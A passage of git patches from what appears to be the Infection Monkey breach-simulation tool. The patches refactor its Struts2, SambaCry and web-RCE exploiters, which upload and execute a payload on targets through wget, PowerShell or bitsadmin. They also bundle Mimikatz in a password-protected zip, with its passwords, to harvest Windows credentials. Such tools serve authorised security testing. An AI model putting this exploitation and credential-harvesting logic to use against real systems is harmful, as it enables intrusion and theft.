network.smbfinger import SMB_SERVICE -from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth +from tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth +from pyinstaller_utils import get_binary_file_path __author__ = 'itay.mizeretz' @@ -306,9 +307,9 @@ class SambaCryExploiter(HostExploiter): def get_monkey_runner_bin_file(self, is_32bit): if is_32bit: - return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_32), "rb") + return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_32), "rb") else: - return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb") + return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb") def get_monkey_commandline_file(self, location): return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location)) diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index dbbd8070a..28f65cc69 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -471,13 +471,6 @@ def build_monkey_commandline(target_host, depth, location=None): GUID, target_host.default_tunnel, target_host.default_server, depth, location) -def get_binaries_dir_path(): - if getattr(sys, 'frozen', False): - return sys._MEIPASS - else: - return os.path.dirname(os.path.abspath(__file__)) - - def get_monkey_depth(): from config import WormConfiguration return WormConfiguration.depth diff --git a/infection_monkey/monkey.spec b/infection_monkey/monkey.spec index cb9c6130e..7e3e254c4 100644 --- a/infection_monkey/monkey.spec +++ b/infection_monkey/monkey.spec @@ -1,22 +1,37 @@ # -*- mode: python -*- import os import platform +import zipfile + +# Name of zip file that will be created +MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' +# Name of zip file in monkey. That's the name of the file in the _MEI folder +MIMIKATZ_ZIP_NAME_MONKEY = MIMIKATZ_ZIP_NAME +# Name of mimikatz dll in zip archive +MIMIKATZ_DLL_NAME_ZIP = 'tmpzipfile123456.dll' +# Password for mimikatz zip +MIMIKATZ_ZIP_PASSWORD = 'HEDFGFDSgfsdg4235342#@$^@#shd35' + + +def get_mimikatz_zip_path(): + if platform.architecture()[0] == "32bit": + return '.\\bin\\mk32.zip' + else: + return '.\\bin\\mk64.zip' + + a = Analysis(['main.py'], pathex=['.', '..'], hiddenimports=['_cffi_backend', 'queue'], hookspath=None, runtime_hooks=None) - -a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] -a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] +a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] +a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] -if platform.system().find("Windows")>= 0: +if platform.system().find("Windows") >= 0: a.datas = [i for i in a.datas if i[0].find('Include') < 0] - if platform.architecture()[0] == "32bit": - a.binaries += [('mk.dll', '.\\bin\\mk32.dll', 'BINARY')] - else: - a.binaries += [('mk.dll', '.\\bin\\mk64.dll', 'BINARY')] + a.binaries += [(MIMIKATZ_ZIP_NAME_MONKEY, get_mimikatz_zip_path(), 'BINARY')] pyz = PYZ(a.pure) exe = EXE(pyz, diff --git a/infection_monkey/pyinstaller_utils.py b/infection_monkey/pyinstaller_utils.py new file mode 100644 index 000000000..c31e7748c --- /dev/null +++ b/infection_monkey/pyinstaller_utils.py @@ -0,0 +1,24 @@ +import os +import sys + + +__author__ = 'itay.mizeretz' + +def get_binaries_dir_path(): + """ + Gets the path to the binaries dir (files packaged in pyinstaller if it was used, infection_monkey dir otherwise) + :return: Binaries dir path + """ + if getattr(sys, 'frozen', False): + return sys._MEIPASS + else: + return os.path.dirname(os.path.abspath(__file__)) + + +def get_binary_file_path(filename): + """ + Gets the path to a binary file + :param filename: name of the file + :return: Path to file + """ + return os.path.join(get_binaries_dir_path(), filename) diff --git a/infection_monkey/readme.txt b/infection_monkey/readme.txt index 67c4033d9..0096f98ab 100644 --- a/infection_monkey/readme.txt +++ b/infection_monkey/readme.txt @@ -70,4 +70,8 @@ Sambacry requires two standalone binaries to execute remotely. Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from https://github.com/guardicore/mimikatz/releases/tag/1.0.0 -Download both 32 and 64 bit DLLs and place them under [code location]\infection_monkey\bin \ No newline at end of file +Download both 32 and 64 bit zipped DLLs and place them under [code location]\infection_monkey\bin +Alternatively, if you build Mimikatz, put each version in a zip file. +1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll +2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'. +3. The zip file should be named mk32.zip/mk64.zip accordingly. \ No newline at end of file diff --git a/infection_monkey/system_info/mimikatz_collector.py b/infection_monkey/system_info/mimikatz_collector.py index 65f326256..365a00648 100644 --- a/infection_monkey/system_info/mimikatz_collector.py +++ b/infection_monkey/system_info/mimikatz_collector.py @@ -2,6 +2,9 @@ import binascii import ctypes import logging import socket +import zipfile + +from pyinstaller_utils import get_binary_file_path, get_binaries_dir_path __author__ = 'itay.mizeretz' @@ -13,12 +16,30 @@ class MimikatzCollector(object): Password collection module for Windows using Mimikatz. """ - def __init__(self): - try: + # Name of Mimikatz DLL. Must be name of file in Mimikatz zip. + MIMIKATZ_DLL_NAME = 'tmpzipfile123456.dll' - self._isInit = False - self._config = __import__('config').WormConfiguration - self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name) + # Name of ZIP containing Mimikatz. Must be identical to one on monkey.spec + MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' + + # Password to Mimikatz zip file + MIMIKATZ_ZIP_PASSWORD = r'VTQpsJPXgZuXhX6x3V84G' + + def __init__(self): + self._config = __import__('config').WormConfiguration + self._isInit = False + self._dll = None + self._collect = None + self._get = None + self.init_mimikatz() + + def init_mimikatz(self): + try: + with zipfile.ZipFile(get_binary_file_path(MimikatzCollector.MIMIKATZ_ZIP_NAME), 'r') as mimikatz_zip: + mimikatz_zip.extract(self.MIMIKATZ_DLL_NAME, path=get_binaries_dir_path(), + pwd=self.MIMIKATZ_ZIP_PASSWORD) + + self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME)) collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) self._collect = collect_proto(("collect", self._dll)) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 610c4e8e3..b3657f0f0 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -15,6 +15,7 @@ class WindowsInfoCollector(InfoCollector): def __init__(self): super(WindowsInfoCollector, self).__init__() + self._config = __import__('config').WormConfiguration def get_info(self): """ @@ -28,7 +29,13 @@ class WindowsInfoCollector(InfoCollector): self.get_process_list() self.get_network_info() self.get_azure_info() - mimikatz_collector = MimikatzCollector() - mimikatz_info = mimikatz_collector.get_logon_info() - self.info["credentials"].update(mimikatz_info) + self._get_mimikatz_info() + return self.info + + def _get_mimikatz_info(self): + if self._config.should_use_mimikatz: + LOG.info("Using mimikatz") + self.info["credentials"].update(MimikatzCollector().get_logon_info()) + else: + LOG.info("Not using mimikatz") diff --git a/infection_monkey/utils.py b/infection_monkey/utils.py index e2f66bd03..b39cd44f5 100644 --- a/infection_monkey/utils.py +++ b/infection_monkey/utils.py @@ -29,3 +29,4 @@ def is_64bit_python(): def is_windows_os(): return sys.platform.startswith("win") + diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 8781f2b21..ebd099e1e 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -279,6 +279,31 @@ SCHEMA = { } } }, + "system_info": { + "title": "System info", + "type": "object", + "properties": { + "extract_azure_creds": { + "title": "Harvest Azure Credentials", + "type": "boolean", + "default": True, + "description": + "Determine if the Monkey should try to harvest password credentials from Azure VMs" + }, + "collect_system_info": { + "title": "Collect system info", + "type": "boolean", + "default": True, + "description": "Determines whether to collect system info" + }, + "should_use_mimikatz": { + "title": "Should use Mimikatz", + "type": "boolean", + "default": True, + "description": "Determines whether to use Mimikatz" + }, + } + }, "life_cycle": { "title": "Life cycle", "type": "object", @@ -339,12 +364,6 @@ SCHEMA = { "description": "The name of the mutex used to determine whether the monkey is already running" }, - "collect_system_info": { - "title": "Collect system info", - "type": "boolean", - "default": True, - "description": "Determines whether to collect system info" - }, "keep_tunnel_open_time": { "title": "Keep tunnel open time", "type": "integer", @@ -536,26 +555,6 @@ SCHEMA = { "description": "List of SSH key pairs to use, when trying to ssh into servers" } } - }, - "systemInfo": { - "title": "System collection", - "type": "object", - "properties": { - "mimikatz_dll_name": { - "title": "Mimikatz DLL name", - "type": "string", - "default": "mk.dll", - "description": - "Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)" - }, - "extract_azure_creds": { - "title": "Harvest Azure Credentials", - "type": "boolean", - "default": True, - "description": - "Determine if the Monkey should try to harvest password credentials from Azure VMs" - } - } } } }, From ef4eadf64a6c290203177a4f1655363114cc26b5 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 13:51:11 +0300 Subject: [PATCH 092/137] struts built_potential_url's now use map function to save code --- infection_monkey/exploit/struts2.py | 18 ++---------------- 1 file changed, 2 insertions(+), 16 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index f6ede586f..867ab92fa 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -38,22 +38,8 @@ class Struts2Exploiter(WebRCE): :param extensions: What subdirectories to scan. www.domain.com[/extension] :return: Array of url's to try and attack """ - url_list = [] - if extensions: - extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] - else: - extensions = [""] - for port in ports: - for extension in extensions: - if port[1]: - protocol = "https" - else: - protocol = "http" - url = join(("%s://%s:%s/" % (protocol, self.host.ip_addr, port[0])), extension) - redirected_url = self.get_redirected(url) - url_list.append(redirected_url) - if not url_list: - LOG.info("No attack url's were built") + url_list = super(Struts2Exploiter, self).build_potential_urls(ports) + url_list = list(map(self.get_redirected, url_list)) return url_list @staticmethod From 5489a68049eea9606a57853fe558b3ac911f47f8 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 23 Aug 2018 14:10:50 +0300 Subject: [PATCH 093/137] Remove unecessary consts --- infection_monkey/monkey.spec | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/infection_monkey/monkey.spec b/infection_monkey/monkey.spec index 7e3e254c4..2f536dcdc 100644 --- a/infection_monkey/monkey.spec +++ b/infection_monkey/monkey.spec @@ -3,14 +3,8 @@ import os import platform import zipfile -# Name of zip file that will be created -MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' # Name of zip file in monkey. That's the name of the file in the _MEI folder -MIMIKATZ_ZIP_NAME_MONKEY = MIMIKATZ_ZIP_NAME -# Name of mimikatz dll in zip archive -MIMIKATZ_DLL_NAME_ZIP = 'tmpzipfile123456.dll' -# Password for mimikatz zip -MIMIKATZ_ZIP_PASSWORD = 'HEDFGFDSgfsdg4235342#@$^@#shd35' +MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' def get_mimikatz_zip_path(): @@ -31,7 +25,7 @@ a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINAR if platform.system().find("Windows") >= 0: a.datas = [i for i in a.datas if i[0].find('Include') < 0] - a.binaries += [(MIMIKATZ_ZIP_NAME_MONKEY, get_mimikatz_zip_path(), 'BINARY')] + a.binaries += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')] pyz = PYZ(a.pure) exe = EXE(pyz, @@ -43,4 +37,5 @@ exe = EXE(pyz, debug=False, strip=None, upx=True, - console=True , icon='monkey.ico') + console=True, + icon='monkey.ico') From 1c5c010028d8e680200bbce441c94f0a4db6968f Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 14:37:31 +0300 Subject: [PATCH 094/137] More pythonic and clean way to apply function to url_list --- infection_monkey/exploit/struts2.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 867ab92fa..ae0bdd948 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -39,7 +39,7 @@ class Struts2Exploiter(WebRCE): :return: Array of url's to try and attack """ url_list = super(Struts2Exploiter, self).build_potential_urls(ports) - url_list = list(map(self.get_redirected, url_list)) + url_list = [self.get_redirected(url) for url in url_list] return url_list @staticmethod From 3ff823ab04dff792ea87e99a906e1fe2f1b19ead Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 15:06:58 +0300 Subject: [PATCH 095/137] Removed unused import statement --- infection_monkey/exploit/struts2.py | 1 - 1 file changed, 1 deletion(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index ae0bdd948..fe4a73c09 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -10,7 +10,6 @@ import re import logging from web_rce import WebRCE -from posixpath import join __author__ = "VakarisZ" From bd8423216bf4babbc817646a0dac2fe0b4654644 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 18:35:30 +0300 Subject: [PATCH 096/137] Changed constructor to have default paths set to None for convienience --- infection_monkey/exploit/web_rce.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index 0b4d041a1..e86f3b2a6 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -21,7 +21,7 @@ WIN_ARCH_64 = "64" class WebRCE(HostExploiter): - def __init__(self, host, monkey_target_paths): + def __init__(self, host, monkey_target_paths=None): """ :param host: Host that we'll attack :param monkey_target_paths: Where to upload the monkey at the target host system. From 592dd27d910e13d365db9cdcd18d62854d88553f Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 28 Aug 2018 20:51:25 +0300 Subject: [PATCH 097/137] Added functions get_monkey_paths and run_backup_commands --- infection_monkey/exploit/tools.py | 4 +- infection_monkey/exploit/web_rce.py | 94 ++++++++++++++++++++--------- infection_monkey/transport/http.py | 1 + 3 files changed, 66 insertions(+), 33 deletions(-) diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index 08cc94af1..1b7f32003 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -410,8 +410,6 @@ class HTTPTools(object): return None, None httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) - - httpd.daemon = True httpd.start() lock.acquire() return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd @@ -515,7 +513,7 @@ def get_monkey_depth(): def get_monkey_dest_path(url_to_monkey): """ - Gets destination path from source path. + Gets destination path from monkey's source url. :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe :return: Corresponding monkey path from configuration """ diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index e86f3b2a6..a8aa2aae7 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -37,6 +37,7 @@ class WebRCE(HostExploiter): 'win64': self._config.dropper_target_path_win_64} self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.skip_exist = self._config.skip_exploit_if_file_exist + self.vulnerable_urls = [] def get_exploit_config(self): """ @@ -77,38 +78,32 @@ class WebRCE(HostExploiter): return False # Get urls to try to exploit urls = self.build_potential_urls(ports, exploit_config['url_extensions']) - vulnerable_urls = [] - for url in urls: - if self.check_if_exploitable(url): - vulnerable_urls.append(url) - if exploit_config['stop_checking_urls']: - break - self._exploit_info['vulnerable_urls'] = vulnerable_urls + self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls']) - if not vulnerable_urls: + if not self.vulnerable_urls: return False # Skip if monkey already exists and this option is given - if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(vulnerable_urls[0]): + if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.vulnerable_urls[0]): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True # Check for targets architecture (if it's 32 or 64 bit) - if not exploit_config['blind_exploit'] and not self.set_host_arch(vulnerable_urls[0]): + if not exploit_config['blind_exploit'] and not self.set_host_arch(self.vulnerable_urls[0]): return False # Upload the right monkey to target - data = self.upload_monkey(vulnerable_urls[0], exploit_config['upload_commands']) + data = self.upload_monkey(self.vulnerable_urls[0], exploit_config['upload_commands']) if data is not False and data['response'] is False: return False # Change permissions to transform monkey into executable file - if self.change_permissions(vulnerable_urls[0], data['path']) is False: + if self.change_permissions(self.vulnerable_urls[0], data['path']) is False: return False # Execute remote monkey - if self.execute_remote_monkey(vulnerable_urls[0], data['path'], exploit_config['dropper']) is False: + if self.execute_remote_monkey(self.vulnerable_urls[0], data['path'], exploit_config['dropper']) is False: return False return True @@ -202,6 +197,23 @@ class WebRCE(HostExploiter): LOG.info("No attack url's were built") return url_list + def add_vulnerable_urls(self, urls, stop_checking=False): + """ + Gets vulnerable url(s) from url list + :param urls: Potentially vulnerable urls + :param stop_checking: + :return: + """ + for url in urls: + if self.check_if_exploitable(url): + self.vulnerable_urls.append(url) + if stop_checking: + break + if not self.vulnerable_urls: + LOG.info("No vulnerable urls found, skipping.") + # We add urls to param used in reporting + self._exploit_info['vulnerable_urls'] = self.vulnerable_urls + def get_host_arch(self, url): """ :param url: Url for exploiter to use @@ -282,6 +294,21 @@ class WebRCE(HostExploiter): self.host.os['machine'] = arch return True + def run_backup_commands(self, resp, url, paths, http_path): + """ + If you need multiple commands for the same os you can override this method to add backup commands + :param resp: Response from base command + :param url: Vulnerable url + :param paths: Where to upload monkey + :param http_path: Where to download monkey from + :return: Command's response (same response if backup command is not needed) + """ + if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: + LOG.info("Powershell not found in host. Using bitsadmin to download.") + backup_command = RDP_CMDLINE_HTTP % {'monkey_path': paths['dest_path'], 'http_path': http_path} + resp = self.exploit(url, backup_command) + return resp + def upload_monkey(self, url, commands=None): """ :param url: Where exploiter should send it's request @@ -290,39 +317,31 @@ class WebRCE(HostExploiter): :return: {'response': response/False, 'path': monkeys_path_in_host} """ LOG.info("Trying to upload monkey to the host.") - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", host) + if not self.host.os['type']: + LOG.error("Unknown target's os type. Skipping.") return False - # Determine which destination path to use - LOG.debug("Monkey path found") - path = self.get_monkey_upload_path(src_path) - if not path: + paths = self.get_monkey_paths() + if not paths: return False # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path']) if not http_path: LOG.debug("Exploiter failed, http transfer creation failed.") return False LOG.info("Started http server on %s", http_path) - if not self.host.os['type']: - LOG.error("Unknown target's os type. Skipping.") - return False # Choose command: if not commands: commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD} - command = self.get_command(path, http_path, commands) + command = self.get_command(paths['dest_path'], http_path, commands) resp = self.exploit(url, command) - if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: - LOG.info("Powershell not found in host. Using bitsadmin to download.") - backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} - resp = self.exploit(url, backup_command) + resp = self.run_backup_commands(resp, url, paths, http_path) + http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() LOG.info("Uploading process finished") - return {'response': resp, 'path': path} + return {'response': resp, 'path': paths['dest_path']} def change_permissions(self, url, path, command=None): """ @@ -421,6 +440,21 @@ class WebRCE(HostExploiter): "custom dict of monkey's destination paths") return False + def get_monkey_paths(self): + """ + Gets local (used by server) and destination (where to download) paths. + :return: dict of source and destination paths + """ + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", host) + return False + # Determine which destination path to use + dest_path = self.get_monkey_upload_path(src_path) + if not dest_path: + return False + return {'src_path': src_path, 'dest_path': dest_path} + def get_default_dropper_path(self): """ Gets default dropper path for the host. diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index 72664f0ab..b65fda4e9 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -204,6 +204,7 @@ class LockedHTTPServer(threading.Thread): self._stopped = False self.lock = lock threading.Thread.__init__(self) + self.daemon = True def run(self): class TempHandler(FileServHTTPRequestHandler): From 87b0afae88dd06e2a5e764a8aa7e3e0417d8ee53 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 29 Aug 2018 14:41:02 +0300 Subject: [PATCH 098/137] Minor changes in run_backup_commands --- infection_monkey/exploit/web_rce.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index a8aa2aae7..97708ab24 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -201,8 +201,8 @@ class WebRCE(HostExploiter): """ Gets vulnerable url(s) from url list :param urls: Potentially vulnerable urls - :param stop_checking: - :return: + :param stop_checking: If we want to continue checking for vulnerable url even though one is found (bool) + :return: None (we append to class variable vulnerable_urls) """ for url in urls: if self.check_if_exploitable(url): @@ -294,18 +294,18 @@ class WebRCE(HostExploiter): self.host.os['machine'] = arch return True - def run_backup_commands(self, resp, url, paths, http_path): + def run_backup_commands(self, resp, url, dest_path, http_path): """ If you need multiple commands for the same os you can override this method to add backup commands :param resp: Response from base command :param url: Vulnerable url - :param paths: Where to upload monkey + :param dest_path: Where to upload monkey :param http_path: Where to download monkey from :return: Command's response (same response if backup command is not needed) """ if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: LOG.info("Powershell not found in host. Using bitsadmin to download.") - backup_command = RDP_CMDLINE_HTTP % {'monkey_path': paths['dest_path'], 'http_path': http_path} + backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path} resp = self.exploit(url, backup_command) return resp @@ -336,7 +336,7 @@ class WebRCE(HostExploiter): resp = self.exploit(url, command) - resp = self.run_backup_commands(resp, url, paths, http_path) + resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() From 8d7221eada4bc1f3ffbaef2db6310b4d2473893e Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 19 Jul 2018 13:42:01 +0300 Subject: [PATCH 099/137] Struts2 core functions --- infection_monkey/exploit/struts2.py | 201 +++++----------------------- 1 file changed, 36 insertions(+), 165 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index c489a3784..395fe422a 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -9,11 +9,8 @@ import unicodedata import re import logging -from exploit import HostExploiter -from exploit.tools import get_target_monkey, get_monkey_depth -from tools import build_monkey_commandline, HTTPTools -from model import CHECK_COMMAND, POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, ID_STRING, RDP_CMDLINE_HTTP, \ - DROPPER_ARG +from web_rce import WebRCE +import copy __author__ = "VakarisZ" @@ -21,167 +18,57 @@ LOG = logging.getLogger(__name__) DOWNLOAD_TIMEOUT = 300 -# Commands used to check if monkeys already exists -FIND_FILE = "ls %s" -class Struts2Exploiter(HostExploiter): +class Struts2Exploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): super(Struts2Exploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self.skip_exist = self._config.skip_exploit_if_file_exist - self.HTTP = [str(port) for port in self._config.HTTP_PORTS] def exploit_host(self): - dropper_path_linux = self._config.dropper_target_path_linux - dropper_path_win_32 = self._config.dropper_target_path_win_32 - dropper_path_win_64 = self._config.dropper_target_path_win_64 - - ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"]) - + # We need a reference to the exploiter for WebRCE framework to use + exploiter = self.exploit + # Get open ports + ports = WebRCE.get_ports_w(self.host, self.HTTP, ["http"]) if not ports: - LOG.info("All web ports are closed on %r, skipping", self.host) return False - - for port in ports: - if port[1]: - current_host = "https://%s:%s" % (self.host.ip_addr, port[0]) - else: - current_host = "http://%s:%s" % (self.host.ip_addr, port[0]) + # Get urls to try to exploit + urls = WebRCE.build_potential_urls(self.host, ports) + vulnerable_urls = [] + for url in urls: # Get full URL - url = self.get_redirected(current_host) - LOG.info("Trying to exploit with struts2") - # Check if host is vulnerable and get host os architecture - if 'linux' in self.host.os['type']: - return self.exploit_linux(url, dropper_path_linux) - else: - return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64]) - - def check_remote_file(self, host, path): - command = FIND_FILE % path - resp = self.exploit(host, command) - if 'No such file' in resp: + url = self.get_redirected(url) + if WebRCE.check_if_exploitable(exploiter, url): + vulnerable_urls.append(url) + self._exploit_info['vulnerable_urls'] = vulnerable_urls + if not vulnerable_urls: return False - else: + # We need to escape backslashes for our exploiter + config = copy.deepcopy(self._config) + config.dropper_target_path_win_32 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_32) + config.dropper_target_path_win_64 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_64) + + if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], config): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True - def exploit_linux(self, url, dropper_path): - host_arch = Struts2Exploiter.check_exploit_linux(url) - if host_arch: - self.host.os['machine'] = host_arch - if url and host_arch: - LOG.info("Host is exploitable with struts2 RCE vulnerability") - # If monkey already exists and option not to exploit in that case is selected - if self.skip_exist and self.check_remote_file(url, dropper_path): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True - - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) - - command = WGET_HTTP_UPLOAD % {'monkey_path': dropper_path, - 'http_path': http_path, 'parameters': cmdline} - - self.exploit(url, command) - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - LOG.info("Struts2 exploit attempt finished") - - return True - - return False - - def exploit_windows(self, url, dropper_paths): - """ - :param url: Where to send malicious request - :param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat - :return: Bool. Successfully exploited or not - """ - host_arch = Struts2Exploiter.check_exploit_windows(url) - if host_arch: - self.host.os['machine'] = host_arch - if url and host_arch: - LOG.info("Host is exploitable with struts2 RCE vulnerability") - # If monkey already exists and option not to exploit in that case is selected - if self.skip_exist: - for dropper_path in dropper_paths: - if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True - - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - # Select the dir and name for monkey on the host - if "windows-32" in src_path: - dropper_path = dropper_paths[0] - else: - dropper_path = dropper_paths[1] - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - # We need to double escape backslashes. Once for payload, twice for command - cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)) - - command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), - 'http_path': http_path, 'parameters': cmdline} - - backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), - 'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG} - - resp = self.exploit(url, command) - - if 'powershell is not recognized' in resp: - self.exploit(url, backup_command) - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - LOG.info("Struts2 exploit attempt finished") - - return True - - return False - - @staticmethod - def check_exploit_windows(url): - resp = Struts2Exploiter.exploit(url, CHECK_COMMAND) - if resp and ID_STRING in resp: - if "64-bit" in resp: - return "64" - else: - return "32" - else: + if not WebRCE.set_host_arch(self.host, exploiter, vulnerable_urls[0]): return False - @staticmethod - def check_exploit_linux(url): - resp = Struts2Exploiter.exploit(url, CHECK_COMMAND) - if resp and ID_STRING in resp: - # Pulls architecture string - arch = re.search('(?<=Architecture:)\s+(\w+)', resp) - arch = arch.group(1) - return arch - else: + data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0]) + + # We can't use 'if not' because response may be '' + if data is not False and data['response'] == False: return False + if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False: + return False + + if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], True) == False: + return False + + return True + @staticmethod def get_redirected(url): # Returns false if url is not right @@ -193,8 +80,7 @@ class Struts2Exploiter(HostExploiter): LOG.error("Can't reach struts2 server") return False - @staticmethod - def exploit(url, cmd): + def 